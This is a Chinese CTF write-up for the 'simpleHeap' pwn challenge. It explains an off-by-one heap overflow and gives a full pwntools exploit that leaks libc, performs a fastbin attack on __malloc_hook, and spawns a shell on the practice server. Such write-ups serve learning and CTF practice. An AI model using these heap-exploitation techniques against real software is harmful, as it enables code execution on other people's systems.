• [V&N2020 公开赛]simpleHeap double free&overlapping


    [V&N2020 公开赛]simpleHeap

    安全检查

    保护全开

     程序流程分析

    add函数

    输入size,在填充内容,有null字节溢出

     edit函数

    my_input有单字节溢出,说明可以overlapping

    show函数

    打印内容

     delete函数

    没有什么问题

    漏洞利用分析

    1. edit有单字节溢出,所以可以创建4个堆,大小要为0x60(因为malloc_hook那的size是0x7f),调用edit再覆盖下一个堆的size,变为unsorted bin,再释放,便可以造成overlapping
    2. overlapping后,再通过linux的unsorted bin的malloc机制,系统会把适合的堆切割或直接分配,如果切割则会把剩下的堆继续留在unsorted bin中
    3. 通过打印2号堆,来打印unsorted bin的fd和bk指针所指的main_areana,然后减去88再减去0x3be760就可以活的libc地址
    4. 在通过double free,把地址申请到malloc_hook那,并挂上realloc和malloc的钩子即可
     1 from pwn import *
     2 
     3 context.log_level='debug'
     4 #p=process('./vn_pwn_simpleHeap')
     5 p=remote('node3.buuoj.cn',25209)
     6 elf=ELF('./vn_pwn_simpleHeap')
     7 libc=ELF('./libc-2.23.so')
     8 
     9 def add(size,content):
    10     p.recvuntil('choice: ')
    11     p.sendline('1')
    12     p.recvuntil('size?')
    13     p.sendline(str(size))
    14     p.recvuntil('content:')
    15     p.sendline(content)
    16 
    17 def edit(idx,content):
    18      
    19     p.sendline('2')
    20     p.recvuntil('idx?')
    21     p.sendline(str(idx))
    22     p.recvuntil('content:')
    23     p.sendline(content)
    24 
    25 def show(idx):
    26     p.recvuntil('choice: ')
    27     p.sendline('3')
    28     p.recvuntil('idx?')
    29     p.sendline(str(idx))
    30 
    31 def delete(idx):
    32     p.recvuntil('choice: ')
    33     p.sendline('4')
    34     p.recvuntil('idx?')
    35     p.sendline(str(idx))
    36 
    37 add(0x18,'pppp')
    38 add(0x60,'pppp')
    39 add(0x60,'pppp')
    40 add(0x10,'pppp')
    41 
    42 #fake chunk
    43 payload='p'*0x18+'xe1'
    44 edit(0,payload)
    45 
    46 delete(1)
    47 
    48 add(0x60,'pppp')
    49 
    50 #gdb.attach(p)
    51 show(2)
    52 
    53 main_arena=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-88
    54 libc_base=main_arena-0x3c4b20
    55 
    56 
    57 libc_one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
    58 one_gadget=libc_base+libc_one_gadget[1]
    59 malloc_hook=libc_base+libc.symbols['__malloc_hook']
    60 realloc=libc_base+libc.symbols['__libc_realloc']
    61 fake_chunk=malloc_hook-0x23
    62 
    63 add(0x60,'pppp')
    64 delete(4)
    65 
    66 payload=p64(fake_chunk)
    67 edit(2,payload)
    68 
    69 
    70 
    71 add(0x60,'pppp')
    72 
    73 
    74 payload='p'*0xb+p64(one_gadget)+p64(realloc+13)
    75 add(0x60,payload)
    76 
    77 
    78 p.interactive()
  • 相关阅读:
    git ssh keys
    git 修改 email
    git 撤销commit
    企微调试模式
    ORACLE 根据某个字段固定值进行分区
    Apache FtpClient login失败
    Oracle序列
    Oracle merage into
    Oracle all_tables 以及常用sql
    性能优化-使用高性能的库fastutil
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13892822.html
Copyright © 2020-2023  润新知